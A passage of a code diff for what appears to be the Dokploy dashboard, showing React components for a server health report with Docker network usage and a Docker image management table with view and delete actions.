if (health.dockerNetworks.usageError) {
|
||||||
|
lines.push(
|
||||||
|
`Could not read network IP usage: ${health.dockerNetworks.usageError}`,
|
||||||
|
);
|
||||||
|
} else if (health.dockerNetworks.usage.length > 0) {
|
||||||
|
lines.push("");
|
||||||
|
lines.push(
|
||||||
|
"| Network | Driver | Subnet | IPs in use | Capacity | Usage |",
|
||||||
|
);
|
||||||
|
lines.push("|---|---|---|---|---|---|");
|
||||||
|
for (const n of health.dockerNetworks.usage) {
|
||||||
|
lines.push(
|
||||||
|
`| ${n.name} | ${n.driver} | ${n.subnet ?? "auto"} | ${n.containersInUse} | ${n.capacity ?? "—"} | ${n.percentUsed ?? "—"}% |`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
lines.push("");
|
||||||
|
|
||||||
|
if (health.reservation) {
|
||||||
|
lines.push("## Memory/CPU reservation");
|
||||||
|
lines.push(
|
||||||
|
`Reserved memory: ${bytesToGb(health.reservation.memoryReservedBytes)} GB`,
|
||||||
|
);
|
||||||
|
lines.push(
|
||||||
|
`Reserved CPU: ${nanoCpusToCores(health.reservation.cpuReservedNanoCpus)} cores`,
|
||||||
|
);
|
||||||
|
lines.push(`Across ${health.reservation.appCount} Application services`);
|
||||||
|
if (health.reservation.unsupportedComposeCount > 0) {
|
||||||
|
lines.push(
|
||||||
|
`${health.reservation.unsupportedComposeCount} Compose service(s) not included (not tracked per-service)`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
lines.push("");
|
||||||
|
}
|
||||||
|
|
||||||
|
lines.push("## Docker daemon errors (raw)");
|
||||||
|
lines.push("```");
|
||||||
|
lines.push(daemonErrorsText);
|
||||||
|
lines.push("```");
|
||||||
|
|
||||||
|
return lines.join("\n");
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleDownload = () => {
|
||||||
|
const report = buildHealthReport();
|
||||||
|
if (!report) return;
|
||||||
|
const blob = new Blob([report], { type: "text/markdown" });
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement("a");
|
||||||
|
a.href = url;
|
||||||
|
a.download = `dokploy-health-report-${new Date().toISOString().replace(/[:.]/g, "-")}.md`;
|
||||||
|
a.click();
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="flex flex-col gap-4 w-full">
|
||||||
|
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
|
||||||
|
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||||
|
<div className="flex items-center justify-between gap-4 flex-wrap">
|
||||||
|
<div>
|
||||||
|
<h3 className="text-lg font-medium">Server diagnostics</h3>
|
||||||
|
<p className="text-sm text-muted-foreground max-w-xl">
|
||||||
|
Runs a read-only check over SSH (inotify limits, disk, Docker
|
||||||
|
network pool, daemon errors). Runs automatically when you open
|
||||||
|
this tab — click Re-check to refresh.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Select
|
||||||
|
value={String(sinceHours)}
|
||||||
|
onValueChange={(v) => setSinceHours(Number(v))}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[160px]">
|
||||||
|
<SelectValue />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{SINCE_HOURS_OPTIONS.map((opt) => (
|
||||||
|
<SelectItem key={opt.value} value={String(opt.value)}>
|
||||||
|
{opt.label}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<Button onClick={() => refetch()} disabled={isFetching}>
|
||||||
|
{isFetching ? (
|
||||||
|
<Loader2 className="size-4 animate-spin mr-2" />
|
||||||
|
) : (
|
||||||
|
<RefreshCw className="size-4 mr-2" />
|
||||||
|
)}
|
||||||
|
{isFetched ? "Re-check" : "Check server health"}
|
||||||
|
</Button>
|
||||||
|
{health && !health.error && (
|
||||||
|
<Button variant="outline" onClick={handleDownload}>
|
||||||
|
<Download className="size-4 mr-2" />
|
||||||
|
Download report
|
||||||
|
</Button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{isFetching && !health && (
|
||||||
|
<div className="flex flex-col items-center justify-center gap-2 py-12 text-muted-foreground border border-dashed rounded-xl">
|
||||||
|
<Loader2 className="size-8 animate-spin" />
|
||||||
|
<span>Checking server health…</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{health?.error && (
|
||||||
|
<div className="text-sm text-destructive border border-destructive/30 bg-destructive/10 rounded-lg p-3">
|
||||||
|
Couldn't read server health: {health.error}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{health && !health.error && (
|
||||||
|
<div
|
||||||
|
className={`grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4 transition-opacity ${isFetching ? "opacity-50" : ""}`}
|
||||||
|
>
|
||||||
|
<Card className="p-4">
|
||||||
|
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||||
|
<ServerIcon className="size-4 text-muted-foreground" />
|
||||||
|
Containers & services
|
||||||
|
</div>
|
||||||
|
<div className="text-2xl font-semibold">
|
||||||
|
{health.containers.containerCount}
|
||||||
|
</div>
|
||||||
|
<div className="text-xs text-muted-foreground">
|
||||||
|
containers · {health.containers.serviceCount} swarm services
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
|
||||||
|
<Card className="p-4">
|
||||||
|
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||||
|
<Cpu className="size-4 text-muted-foreground" />
|
||||||
|
Host resources
|
||||||
|
</div>
|
||||||
|
<div className="text-sm">
|
||||||
|
Memory: {bytesToGb(health.resources.memUsedBytes)} /{" "}
|
||||||
|
{bytesToGb(health.resources.memTotalBytes)} GB
|
||||||
|
</div>
|
||||||
|
<Progress value={memUsedPct} className="h-2 mt-1" />
|
||||||
|
<div className="text-xs text-muted-foreground mt-2">
|
||||||
|
{health.resources.cpuCount} CPU cores
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
|
||||||
|
<Card className="p-4">
|
||||||
|
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||||
|
<HardDrive className="size-4 text-muted-foreground" />
|
||||||
|
Disk (/)
|
||||||
|
</div>
|
||||||
|
<div className="text-sm">
|
||||||
|
{bytesToGb(health.disk.usedBytes)} /{" "}
|
||||||
|
{bytesToGb(health.disk.totalBytes)} GB
|
||||||
|
</div>
|
||||||
|
<Progress value={diskUsedPct} className="h-2 mt-1" />
|
||||||
|
</Card>
|
||||||
|
|
||||||
|
<Card className="p-4">
|
||||||
|
<div className="flex items-center justify-between gap-2 text-sm font-medium mb-2">
|
||||||
|
<span className="flex items-center gap-2">
|
||||||
|
<AlertTriangle className="size-4 text-muted-foreground" />
|
||||||
|
Inotify
|
||||||
|
</span>
|
||||||
|
<Badge
|
||||||
|
variant={health.inotify.persisted ? "default" : "secondary"}
|
||||||
|
>
|
||||||
|
{health.inotify.persisted ? "persisted" : "runtime only"}
|
||||||
|
</Badge>
|
||||||
|
</div>
|
||||||
|
<div className="text-sm">
|
||||||
|
max_user_instances: {health.inotify.currentInstances} /{" "}
|
||||||
|
{health.inotify.maxInstances.toLocaleString()} (
|
||||||
|
{inotifyUsedPct}%)
|
||||||
|
</div>
|
||||||
|
<Progress value={inotifyUsedPct} className="h-2 mt-1" />
|
||||||
|
<div className="text-xs text-muted-foreground mt-2">
|
||||||
|
max_user_watches: {health.inotify.maxWatches.toLocaleString()}{" "}
|
||||||
|
· max_queued_events:{" "}
|
||||||
|
{health.inotify.maxQueuedEvents.toLocaleString()}
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
|
||||||
|
<Card className="p-4">
|
||||||
|
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||||
|
<Network className="size-4 text-muted-foreground" />
|
||||||
|
Docker networks
|
||||||
|
</div>
|
||||||
|
<div className="text-2xl font-semibold">
|
||||||
|
{health.dockerNetworks.count}
|
||||||
|
</div>
|
||||||
|
<div className="text-xs text-muted-foreground">
|
||||||
|
The default Docker address pool is exhausted around ~30
|
||||||
|
networks unless <code>default-address-pools</code> is
|
||||||
|
configured in <code>/etc/docker/daemon.json</code>.
|
||||||
|
{health.dockerNetworks.addressPools
|
||||||
|
? " Custom pool detected on this server."
|
||||||
|
: ""}
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
|
||||||
|
{health.reservation && (
|
||||||
|
<Card className="p-4">
|
||||||
|
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||||
|
<Cpu className="size-4 text-muted-foreground" />
|
||||||
|
Memory/CPU reservation
|
||||||
|
</div>
|
||||||
|
<div className="text-sm">
|
||||||
|
{bytesToGb(health.reservation.memoryReservedBytes)} GB
|
||||||
|
reserved ·{" "}
|
||||||
|
{nanoCpusToCores(health.reservation.cpuReservedNanoCpus)}{" "}
|
||||||
|
CPUs reserved
|
||||||
|
</div>
|
||||||
|
<div className="text-xs text-muted-foreground mt-2">
|
||||||
|
Across {health.reservation.appCount} Application services.
|
||||||
|
{health.reservation.unsupportedComposeCount > 0
|
||||||
|
? ` ${health.reservation.unsupportedComposeCount} Compose service(s) on this server aren't included — reservations aren't tracked per-service for Compose.`
|
||||||
|
: ""}
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{health &&
|
||||||
|
!health.error &&
|
||||||
|
(health.dockerNetworks.usage.length > 0 ||
|
||||||
|
health.dockerNetworks.usageError) && (
|
||||||
|
<div className="flex flex-col gap-2">
|
||||||
|
<h4 className="text-sm font-medium flex items-center gap-2">
|
||||||
|
<Network className="size-4 text-muted-foreground" />
|
||||||
|
Network IP usage
|
||||||
|
</h4>
|
||||||
|
<p className="text-xs text-muted-foreground">
|
||||||
|
IPs assigned to containers vs. the subnet's usable capacity,
|
||||||
|
per network — including reserved networks like{" "}
|
||||||
|
<code>dokploy-network</code>. A network stuck near 100% blocks
|
||||||
|
new containers from starting even when the host has plenty of
|
||||||
|
other resources free.
|
||||||
|
</p>
|
||||||
|
{health.dockerNetworks.usageError ? (
|
||||||
|
<div className="text-sm text-destructive border border-destructive/30 bg-destructive/10 rounded-lg p-3">
|
||||||
|
Couldn't read network IP usage:{" "}
|
||||||
|
{health.dockerNetworks.usageError}
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="rounded-lg border overflow-x-auto">
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
<TableRow>
|
||||||
|
<TableHead>Network</TableHead>
|
||||||
|
<TableHead>Driver</TableHead>
|
||||||
|
<TableHead>Subnet</TableHead>
|
||||||
|
<TableHead>IPs in use</TableHead>
|
||||||
|
<TableHead>Usage</TableHead>
|
||||||
|
</TableRow>
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{health.dockerNetworks.usage.map((n) => (
|
||||||
|
<TableRow key={n.name}>
|
||||||
|
<TableCell className="font-medium">
|
||||||
|
{n.name}
|
||||||
|
</TableCell>
|
||||||
|
<TableCell className="text-muted-foreground">
|
||||||
|
{n.driver}
|
||||||
|
</TableCell>
|
||||||
|
<TableCell className="text-muted-foreground">
|
||||||
|
{n.subnet ?? "Auto"}
|
||||||
|
</TableCell>
|
||||||
|
<TableCell className="text-muted-foreground">
|
||||||
|
{n.capacity !== null
|
||||||
|
? `${n.containersInUse} / ${n.capacity}`
|
||||||
|
: n.containersInUse}
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
{n.percentUsed !== null ? (
|
||||||
|
<Badge
|
||||||
|
variant={
|
||||||
|
n.percentUsed >= 90
|
||||||
|
? "red"
|
||||||
|
: n.percentUsed >= 70
|
||||||
|
? "yellow"
|
||||||
|
: "green"
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{n.percentUsed}%
|
||||||
|
</Badge>
|
||||||
|
) : (
|
||||||
|
<span className="text-muted-foreground text-xs">
|
||||||
|
—
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
))}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{health && !health.error && (
|
||||||
|
<div className="flex flex-col gap-2">
|
||||||
|
<h4 className="text-sm font-medium">
|
||||||
|
Docker daemon errors (
|
||||||
|
{SINCE_HOURS_OPTIONS.find(
|
||||||
|
(o) => o.value === sinceHours,
|
||||||
|
)?.label.toLowerCase()}
|
||||||
|
)
|
||||||
|
</h4>
|
||||||
|
<CodeEditor
|
||||||
|
value={daemonErrorsText}
|
||||||
|
language="shell"
|
||||||
|
disabled
|
||||||
|
lineWrapping
|
||||||
|
wrapperClassName="h-64 rounded-lg border"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,470 @@
|
|||||||
|
"use client";
|
||||||
|
|
||||||
|
import {
|
||||||
|
type ColumnDef,
|
||||||
|
flexRender,
|
||||||
|
getCoreRowModel,
|
||||||
|
getPaginationRowModel,
|
||||||
|
getSortedRowModel,
|
||||||
|
type PaginationState,
|
||||||
|
type SortingState,
|
||||||
|
useReactTable,
|
||||||
|
} from "@tanstack/react-table";
|
||||||
|
import type { inferRouterOutputs } from "@trpc/server";
|
||||||
|
import { ArrowUpDown, Eye, Layers, Loader2, Trash2 } from "lucide-react";
|
||||||
|
import { useMemo, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
import { CodeEditor } from "@/components/shared/code-editor";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import {
|
||||||
|
AlertDialog,
|
||||||
|
AlertDialogAction,
|
||||||
|
AlertDialogCancel,
|
||||||
|
AlertDialogContent,
|
||||||
|
AlertDialogDescription,
|
||||||
|
AlertDialogFooter,
|
||||||
|
AlertDialogHeader,
|
||||||
|
AlertDialogTitle,
|
||||||
|
} from "@/components/ui/alert-dialog";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import type { AppRouter } from "@/server/api/root";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
type ImageBase =
|
||||||
|
inferRouterOutputs<AppRouter>["dockerImage"]["getImages"][number];
|
||||||
|
type ImageRow = ImageBase & { key: string };
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
serverId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const SIZE_UNITS: Record<string, number> = {
|
||||||
|
b: 1,
|
||||||
|
kb: 1e3,
|
||||||
|
mb: 1e6,
|
||||||
|
gb: 1e9,
|
||||||
|
tb: 1e12,
|
||||||
|
};
|
||||||
|
|
||||||
|
const parseSize = (size?: string) => {
|
||||||
|
if (!size) return -1;
|
||||||
|
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
|
||||||
|
if (!match?.[1] || !match[2]) return -1;
|
||||||
|
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
|
||||||
|
};
|
||||||
|
|
||||||
|
const getReference = (image: ImageBase) =>
|
||||||
|
image.Repository !== "<none>" && image.Tag !== "<none>"
|
||||||
|
? `${image.Repository}:${image.Tag}`
|
||||||
|
: image.ID;
|
||||||
|
|
||||||
|
const FORCE_HINT_REGEX =
|
||||||
|
/must be forced|image is being used|referenced in multiple repositories/i;
|
||||||
|
|
||||||
|
const SortableHeader = ({
|
||||||
|
column,
|
||||||
|
title,
|
||||||
|
}: {
|
||||||
|
column: {
|
||||||
|
getIsSorted: () => false | "asc" | "desc";
|
||||||
|
toggleSorting: (asc: boolean) => void;
|
||||||
|
};
|
||||||
|
title: string;
|
||||||
|
}) => (
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
className="-ml-3 h-8"
|
||||||
|
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||||
|
>
|
||||||
|
{title}
|
||||||
|
<ArrowUpDown className="ml-2 size-4" />
|
||||||
|
</Button>
|
||||||
|
);
|
||||||
|
|
||||||
|
const ShowImageConfig = ({
|
||||||
|
imageRef,
|
||||||
|
serverId,
|
||||||
|
}: {
|
||||||
|
imageRef: string;
|
||||||
|
serverId?: string;
|
||||||
|
}) => {
|
||||||
|
const [open, setOpen] = useState(false);
|
||||||
|
const { data, isLoading, error } = api.dockerImage.getImageConfig.useQuery(
|
||||||
|
{ imageRef, serverId },
|
||||||
|
{ enabled: open },
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={open} onOpenChange={setOpen}>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
<Button variant="ghost" size="icon-sm" aria-label="View image config">
|
||||||
|
<Eye className="size-4" />
|
||||||
|
</Button>
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle>Image Config</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
docker image inspect output for "{imageRef}"
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
{error ? (
|
||||||
|
<AlertBlock type="error">{error.message}</AlertBlock>
|
||||||
|
) : isLoading ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
|
||||||
|
<code>
|
||||||
|
<pre className="whitespace-pre-wrap wrap-break-word">
|
||||||
|
<CodeEditor
|
||||||
|
language="json"
|
||||||
|
lineWrapping
|
||||||
|
lineNumbers={false}
|
||||||
|
readOnly
|
||||||
|
value={JSON.stringify(data, null, 2)}
|
||||||
|
/>
|
||||||
|
</pre>
|
||||||
|
</code>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
export const ShowImages = ({ serverId }: Props) => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const [sorting, setSorting] = useState<SortingState>([
|
||||||
|
{ id: "Repository", desc: false },
|
||||||
|
]);
|
||||||
|
const [globalFilter, setGlobalFilter] = useState("");
|
||||||
|
const [pagination, setPagination] = useState<PaginationState>({
|
||||||
|
pageIndex: 0,
|
||||||
|
pageSize: 10,
|
||||||
|
});
|
||||||
|
const [forcePrompt, setForcePrompt] = useState<{
|
||||||
|
image: ImageRow;
|
||||||
|
message: string;
|
||||||
|
} | null>(null);
|
||||||
|
|
||||||
|
const { data: images, isLoading } = api.dockerImage.getImages.useQuery({
|
||||||
|
serverId,
|
||||||
|
});
|
||||||
|
const { mutateAsync: removeImage } =
|
||||||
|
api.dockerImage.removeImage.useMutation();
|
||||||
|
|
||||||
|
const rows = useMemo<ImageRow[]>(
|
||||||
|
() =>
|
||||||
|
(images ?? []).map((image) => ({
|
||||||
|
...image,
|
||||||
|
key: `${image.ID}-${image.Repository}-${image.Tag}`,
|
||||||
|
})),
|
||||||
|
[images],
|
||||||
|
);
|
||||||
|
|
||||||
|
const filteredData = useMemo(() => {
|
||||||
|
if (!globalFilter.trim()) {
|
||||||
|
return rows;
|
||||||
|
}
|
||||||
|
const query = globalFilter.toLowerCase();
|
||||||
|
return rows.filter(
|
||||||
|
(image) =>
|
||||||
|
image.Repository.toLowerCase().includes(query) ||
|
||||||
|
image.Tag.toLowerCase().includes(query) ||
|
||||||
|
image.ID.toLowerCase().includes(query),
|
||||||
|
);
|
||||||
|
}, [rows, globalFilter]);
|
||||||
|
|
||||||
|
const handleDelete = async (image: ImageRow, force = false) => {
|
||||||
|
try {
|
||||||
|
await removeImage({
|
||||||
|
repository: image.Repository,
|
||||||
|
tag: image.Tag,
|
||||||
|
id: image.ID,
|
||||||
|
force,
|
||||||
|
serverId,
|
||||||
|
});
|
||||||
|
toast.success("Image deleted");
|
||||||
|
setForcePrompt(null);
|
||||||
|
await utils.dockerImage.getImages.invalidate();
|
||||||
|
} catch (error) {
|
||||||
|
const message = error instanceof Error ? error.message : "Unknown error";
|
||||||
|
if (!force && FORCE_HINT_REGEX.test(message)) {
|
||||||
|
setForcePrompt({ image, message });
|
||||||
|
} else {
|
||||||
|
toast.error("Error deleting image", { description: message });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const columns = useMemo<ColumnDef<ImageRow>[]>(
|
||||||
|
() => [
|
||||||
|
{
|
||||||
|
accessorKey: "Repository",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Repository" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div
|
||||||
|
className="max-w-[280px] truncate font-medium"
|
||||||
|
title={row.original.Repository}
|
||||||
|
>
|
||||||
|
{row.original.Repository}
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "Tag",
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="Tag" />,
|
||||||
|
cell: ({ row }) => <Badge variant="outline">{row.original.Tag}</Badge>,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "ID",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Image ID" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="font-mono text-xs text-muted-foreground">
|
||||||
|
{row.original.ID}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "Size",
|
||||||
|
accessorFn: (image) => parseSize(image.Size),
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="Size" />,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-muted-foreground">{row.original.Size}</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "Created",
|
||||||
|
accessorFn: (image) => new Date(image.CreatedAt).getTime() || 0,
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Created" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-muted-foreground whitespace-nowrap">
|
||||||
|
{row.original.CreatedSince}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "actions",
|
||||||
|
enableSorting: false,
|
||||||
|
header: () => <div className="text-right">Actions</div>,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div className="flex items-center justify-end gap-3">
|
||||||
|
<ShowImageConfig
|
||||||
|
imageRef={getReference(row.original)}
|
||||||
|
serverId={serverId}
|
||||||
|
/>
|
||||||
|
<DialogAction
|
||||||
|
title="Delete image"
|
||||||
|
description={`The image "${getReference(row.original)}" will be removed from Docker. This action cannot be undone.`}
|
||||||
|
onClick={() => handleDelete(row.original)}
|
||||||
|
>
|
||||||
|
<Button variant="ghost" size="icon-sm" aria-label="Delete image">
|
||||||
|
<Trash2 className="size-4 text-destructive" />
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
],
|
||||||
|
[serverId],
|
||||||
|
);
|
||||||
|
|
||||||
|
const table = useReactTable({
|
||||||
|
data: filteredData,
|
||||||
|
columns,
|
||||||
|
getRowId: (row) => row.key,
|
||||||
|
state: {
|
||||||
|
sorting,
|
||||||
|
pagination,
|
||||||
|
},
|
||||||
|
onSortingChange: setSorting,
|
||||||
|
onPaginationChange: setPagination,
|
||||||
|
getCoreRowModel: getCoreRowModel(),
|
||||||
|
getSortedRowModel: getSortedRowModel(),
|
||||||
|
getPaginationRowModel: getPaginationRowModel(),
|
||||||
|
});
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="w-full">
|
||||||
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||||
|
<div className="rounded-xl bg-background shadow-md ">
|
||||||
|
<CardHeader className="">
|
||||||
|
<CardTitle className="text-xl flex flex-row gap-2">
|
||||||
|
<Layers className="size-6 text-muted-foreground self-center" />
|
||||||
|
Images
|
||||||
|
</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
Manage the Docker images of the selected server.
|
||||||
|
</CardDescription>
|
||||||
|
</CardHeader>
|
||||||
|
|
||||||
|
<CardContent className="space-y-4 py-8 border-t">
|
||||||
|
{isLoading ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : !images?.length ? (
|
||||||
|
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
|
||||||
|
<div className="rounded-full bg-muted p-4">
|
||||||
|
<Layers className="size-10 text-muted-foreground" />
|
||||||
|
</div>
|
||||||
|
<div className="space-y-1 text-center">
|
||||||
|
<p className="text-sm font-medium">No images found</p>
|
||||||
|
<p className="max-w-sm text-sm text-muted-foreground">
|
||||||
|
Docker images pulled or built on this server will appear
|
||||||
|
here.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
<Input
|
||||||
|
placeholder="Search by repository, tag or id..."
|
||||||
|
value={globalFilter}
|
||||||
|
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||||
|
className="max-w-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="rounded-md border overflow-x-auto">
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
{table.getHeaderGroups().map((headerGroup) => (
|
||||||
|
<TableRow key={headerGroup.id}>
|
||||||
|
{headerGroup.headers.map((header) => (
|
||||||
|
<TableHead key={header.id}>
|
||||||
|
{header.isPlaceholder
|
||||||
|
? null
|
||||||
|
: flexRender(
|
||||||
|
header.column.columnDef.header,
|
||||||
|
header.getContext(),
|
||||||
|
)}
|
||||||
|
</TableHead>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))}
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{table.getRowModel().rows?.length ? (
|
||||||
|
table.getRowModel().rows.map((row) => (
|
||||||
|
<TableRow key={row.id}>
|
||||||
|
{row.getVisibleCells().map((cell) => (
|
||||||
|
<TableCell key={cell.id}>
|
||||||
|
{flexRender(
|
||||||
|
cell.column.columnDef.cell,
|
||||||
|
cell.getContext(),
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<TableRow>
|
||||||
|
<TableCell
|
||||||
|
colSpan={columns.length}
|
||||||
|
className="h-24 text-center text-muted-foreground"
|
||||||
|
>
|
||||||
|
No images match your filters.
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
)}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
</div>
|
||||||
|
{table.getPageCount() > 1 && (
|
||||||
|
<div className="flex items-center justify-end gap-4">
|
||||||
|
<span className="text-sm text-muted-foreground">
|
||||||
|
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||||
|
{table.getPageCount()}
|
||||||
|
</span>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.previousPage()}
|
||||||
|
disabled={!table.getCanPreviousPage()}
|
||||||
|
>
|
||||||
|
Previous
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.nextPage()}
|
||||||
|
disabled={!table.getCanNextPage()}
|
||||||
|
>
|
||||||
|
Next
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</CardContent>
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
<AlertDialog
|
||||||
|
open={!!forcePrompt}
|
||||||
|
onOpenChange={(open) => !open && setForcePrompt(null)}
|
||||||
|
>
|
||||||
|
<AlertDialogContent>
|
||||||
|
<AlertDialogHeader>
|
||||||
|
<AlertDialogTitle>Image is in use</AlertDialogTitle>
|
||||||
